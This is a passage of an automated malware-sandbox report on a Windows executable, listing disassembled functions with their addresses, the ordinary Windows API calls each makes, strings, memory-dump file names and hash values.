Instruction ID: f3b72bb4544fca60846598180dabebec224aa49eb749d453b068b9e4cb53805c
Opcode Fuzzy Hash: 3d3cf82f3f77b6a3577993f4a942783953a1b1d866ceaa594716f13b79c5b63a
Instruction Fuzzy Hash: 4FF0F965B3858282FB64AB31F895BBAE364FF94B05FC81131E68E81864DF2CD109CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE8B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF75FBAE8C7
SHAutoComplete.SHLWAPI ref: 00007FF75FBAE90B

Part of subcall function 00007FF75FBA3D70: CompareStringW.KERNEL32(?,?,00007FF75FB9D2B8), ref: 00007FF75FBA3D8F

FindWindowExW.USER32 ref: 00007FF75FBAE8F5

Strings

EDIT, xrefs: 00007FF75FBAE8D1, 00007FF75FBAE8E9

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: d693d42ce090d05d3aa9bf52891532b56deb71ca4894e7150c2fcb9f2915c979
Instruction ID: 92a9b400abe6a46b813773bd625e7f3698db39c765192120853a5fc4339dd61c
Opcode Fuzzy Hash: d693d42ce090d05d3aa9bf52891532b56deb71ca4894e7150c2fcb9f2915c979
Instruction Fuzzy Hash: 35F03A51B1AB87D1FE25AB26B8107F6D395AF48780F8C4030C98D0A694EE2DD109C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB3E0C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF75FBB3E1B

Part of subcall function 00007FF75FBB3B00: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF75FBB3B22

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF75FBB3E30
__scrt_release_startup_lock.LIBCMT ref: 00007FF75FBB3E9E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF75FBB3EF1

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 199816e0affd3c4072233f956bf8a8c590e6657ab09ceeefaecbb45902478120
Instruction ID: 85052780ffc541cddfa8ef250ec1b78bb9d6e9a52d3ca9ad557a47ae3fcd81e3
Opcode Fuzzy Hash: 199816e0affd3c4072233f956bf8a8c590e6657ab09ceeefaecbb45902478120
Instruction Fuzzy Hash: 8231F721E881C3C7FA24BB7494622F9A291AF41384FCC4535E94E4B2D7DE6CAD05C239

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9A800 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF75FB9A828
ReadFile.KERNELBASE ref: 00007FF75FB9A847
GetLastError.KERNEL32 ref: 00007FF75FB9A87B
GetLastError.KERNEL32 ref: 00007FF75FB9A89A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: d7d27f86960c145bd86a2c4a2b2234baced483829e7f4d5c893c94799743c948
Instruction ID: 4f10e8114ae59455ca4d5dbdb3d8265520e76251be6613dc957f5ad9f99b74c5
Opcode Fuzzy Hash: d7d27f86960c145bd86a2c4a2b2234baced483829e7f4d5c893c94799743c948
Instruction Fuzzy Hash: 77219261E18582C5EA607F31A6402BAF368FB41B94F9D4131DA5D46AD4CF2CE8428760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2CD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF75FBA2D0C
SetThreadPriority.KERNEL32 ref: 00007FF75FBA2D62

Strings

CreateThread failed, xrefs: 00007FF75FBA2D1A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: 1d607bc94a2565185ea8aed89facb0c396d4a5bb31d92b125af062f9bafc8118
Instruction ID: 60ce052228827142345aced639d1366e7e8c3f0b7a2308fc80f28b93ac871672
Opcode Fuzzy Hash: 1d607bc94a2565185ea8aed89facb0c396d4a5bb31d92b125af062f9bafc8118
Instruction Fuzzy Hash: 1A113031A19A86D1EB01EF20E9412EAB360FB84744FD84535D69D42669DF3CE585C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FBA2320: GetSystemDirectoryW.KERNEL32 ref: 00007FF75FBA233C

OleInitialize.OLE32 ref: 00007FF75FBAE94A
SHGetMalloc.SHELL32 ref: 00007FF75FBAE998

Strings

riched20.dll, xrefs: 00007FF75FBAE939

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 94d6016eb76bd2e9fdef82b43f1dfdf966ce3007a75da85a203c47b8bd723e7e
Instruction ID: b8a4bed487dcb698d822260925fa151a774725ef88b13187349bf060ae78da0c
Opcode Fuzzy Hash: 94d6016eb76bd2e9fdef82b43f1dfdf966ce3007a75da85a203c47b8bd723e7e
Instruction Fuzzy Hash: DAF04F71918A86C2EB01AF20F8152EEF3A4FB98754F880135E68D42A54DF7CD149CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBFB2C Relevance: 4.7, APIs: 3, Instructions: 238COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF75FBBFBB3
MultiByteToWideChar.KERNEL32 ref: 00007FF75FBBFC78
WideCharToMultiByte.KERNEL32 ref: 00007FF75FBBFE08

Part of subcall function 00007FF75FBBDA58: RtlAllocateHeap.NTDLL ref: 00007FF75FBBDA96

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeap
String ID:
API String ID: 2584219951-0
Opcode ID: 36d04146fd16ad38f5ae4a9eef0db65d4ef903412864ddda910bbe6c40e99b7c
Instruction ID: 9e958510cb44b7c4349668ababf50fadae5221602ba223b20d782cb49e714309
Opcode Fuzzy Hash: 36d04146fd16ad38f5ae4a9eef0db65d4ef903412864ddda910bbe6c40e99b7c
Instruction Fuzzy Hash: 0FA1B662B18786C7EB249F71D4403B9A2D1FB88B98F884235DA5D47BC5EF3CD8408714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA5608 Relevance: 4.7, APIs: 3, Instructions: 214COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75FBA56DD
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75FBA56F9

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: 7d6e2ed02b66bbeced6f690ef67be6673874d613937fa3cb223cf6d02c80556f
Instruction ID: f49a292b5e8c1772f7fecb87f0bd95f4af904bf196932f2e67f4cf400d1525cb
Opcode Fuzzy Hash: 7d6e2ed02b66bbeced6f690ef67be6673874d613937fa3cb223cf6d02c80556f
Instruction Fuzzy Hash: 8B81A022A0AAC2C5EB65EE35D5403F9B760EB54B84F9C4031DB8D17B99DF3CE6418324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B094 Relevance: 4.6, APIs: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,00000000,?,?,00007FF75FB9E702,?,?,?,00007FF75FBA8161), ref: 00007FF75FB9B0CE
WriteFile.KERNEL32 ref: 00007FF75FB9B118
WriteFile.KERNELBASE ref: 00007FF75FB9B145

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: a319676427f459690ec52ac86a757fbd42f7d88e4113bbaacc72b2efb73a18da
Instruction ID: faf5c766ebc77464e2a321758bb232aaf8a2afacfcff0651f36459f299c8d16b
Opcode Fuzzy Hash: a319676427f459690ec52ac86a757fbd42f7d88e4113bbaacc72b2efb73a18da
Instruction Fuzzy Hash: EA41C726A18696D2EB10EF35E6143FAA371FB44B88F984031DB4D47A94CF3CD645C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B438 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000001,00007FF75FB9B2C1,0000111D,?,?,00007FF75FB97C79), ref: 00007FF75FB9B476
CreateDirectoryW.KERNEL32(00000001,00007FF75FB9B2C1,0000111D,?,?,00007FF75FB97C79), ref: 00007FF75FB9B4AB
GetLastError.KERNEL32(00000001,00007FF75FB9B2C1,0000111D,?,?,00007FF75FB97C79), ref: 00007FF75FB9B4C8

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: c9ab371ae59f2440eef835ea9f5a6e52d4b46bdcf5dc6751ca115eb4fec73a4b
Instruction ID: e1b6a0c5273e43d2da4f37a3a4e2c9edf112c844e2779bebbb0a090e917f6131
Opcode Fuzzy Hash: c9ab371ae59f2440eef835ea9f5a6e52d4b46bdcf5dc6751ca115eb4fec73a4b
Instruction Fuzzy Hash: 5D118E11A0C6C6C1E760BB319A402FEA3A1AF44BC0FDC8031E94D427D5CF2CEA459770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBC8B0 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF75FBBC894), ref: 00007FF75FBBC8D8
TerminateProcess.KERNEL32(?,?,?,00007FF75FBBC894), ref: 00007FF75FBBC8E3
ExitProcess.KERNEL32 ref: 00007FF75FBBC8F2

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 6ab270daf2d06d3a915f511d4526503b9d356a6867b357696674190a5d8d80e5
Instruction ID: e7c855078abfd7e2d1c8a7ddc04f2a3800caa6febfe185775793b38cb3f90fe6
Opcode Fuzzy Hash: 6ab270daf2d06d3a915f511d4526503b9d356a6867b357696674190a5d8d80e5
Instruction Fuzzy Hash: E9E09A60F04797C3EA54BF719D856FB63525F88751F485438C84E47392CE7DE8498264

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC0F5C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FF75FBC0F92

Strings

, xrefs: 00007FF75FBC0FD7

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 915aaa3ed93b8d4128247323173d346e5403718ae2162dad5d738a91136e2319
Instruction ID: 2805a7f71f199b7919a63d535651d0df8f8faaa608e5d86ec8583bb7a64dd997
Opcode Fuzzy Hash: 915aaa3ed93b8d4128247323173d346e5403718ae2162dad5d738a91136e2319
Instruction Fuzzy Hash: 66512B72A1C6C2CAE7219F38D0443EEBBA0F749748F984136D68987A55CF7DD156CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC036C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 00007FF75FBC043A

Strings

LCMapStringEx, xrefs: 00007FF75FBC038D, 00007FF75FBC039E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 671599484b35d4b4192aaa78a5ea891c74b1563b76e86694b4932b584af60a2b
Instruction ID: 11c5bff89d49698310d222df895e618b0dfb6bd9d776aa4b0af654ed817b0c54
Opcode Fuzzy Hash: 671599484b35d4b4192aaa78a5ea891c74b1563b76e86694b4932b584af60a2b
Instruction Fuzzy Hash: C521FC35A08B8582D660DF56B8401AAB7A5F7C8B94F584136EE8D43B19DF38D451CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC02F4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000003,00007FF75FBBF521), ref: 00007FF75FBC0351

Strings

InitializeCriticalSectionEx, xrefs: 00007FF75FBC030B, 00007FF75FBC031E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 65a1b59922d5a86b6fff1e689cf7982eb072f455a74a901bfcec2c6b1a57fc34
Instruction ID: ca65f4816ae0428ecc2d9485772434f5147285b52ca879ef28e2a0aa13ac6120
Opcode Fuzzy Hash: 65a1b59922d5a86b6fff1e689cf7982eb072f455a74a901bfcec2c6b1a57fc34
Instruction Fuzzy Hash: A0F01929F19BC6C2EA04AF66B4404AAB761BB89BC0F9C4036EA9D07B19DE3CD445C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC0184 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,?,00007FF75FBBE710), ref: 00007FF75FBC01C8

Strings

FlsAlloc, xrefs: 00007FF75FBC0191, 00007FF75FBC01A4

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: c3be5b171e42213be84837dc6e8beb978e433f47ac2927a8af97b3d08d2d22b7
Instruction ID: e0e6eb6e8b5921a0b52876c64f68030939fe3fd211db1dea27087a6f33544141
Opcode Fuzzy Hash: c3be5b171e42213be84837dc6e8beb978e433f47ac2927a8af97b3d08d2d22b7
Instruction Fuzzy Hash: 76E01524A0AA83D1EA04BF72B4510FAE261AF88B84F8C003AE91D07654DE3CE484C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC13E8 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FBC0E4C: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,00007FF75FBC1169,?,?,?,?,?,?,?,00007FF75FBC1319), ref: 00007FF75FBC0E76

IsValidCodePage.KERNEL32(?,?,?,00000000,?,00000000,00000001,00007FF75FBC121C,?,?,?,?,?,?,?,00007FF75FBC1319), ref: 00007FF75FBC1462
GetCPInfo.KERNEL32(?,?,?,00000000,?,00000000,00000001,00007FF75FBC121C,?,?,?,?,?,?,?,00007FF75FBC1319), ref: 00007FF75FBC1477

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 2268402d4a2aca544941d68e7c476cfdc96f940329a779a591f13655bab2bee9
Instruction ID: 3c7f837ef4e197e4e7f8bf814f3ba8dbe70e1c167c31d5a65af11b990b5aa616
